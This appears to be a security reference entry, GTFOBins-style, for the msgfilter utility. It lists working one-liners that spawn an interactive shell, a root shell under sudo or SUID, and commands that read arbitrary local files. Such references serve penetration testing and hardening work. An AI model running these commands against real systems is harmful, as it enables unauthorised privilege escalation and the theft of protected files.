This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
This executable can read data from local files.
This function can be performed by any unprivileged user.
msgfilter -P -i /path/to/input-file /bin/cat
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
msgfilter -P -i /path/to/input-file /bin/cat
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
msgfilter -P -i /path/to/input-file /bin/cat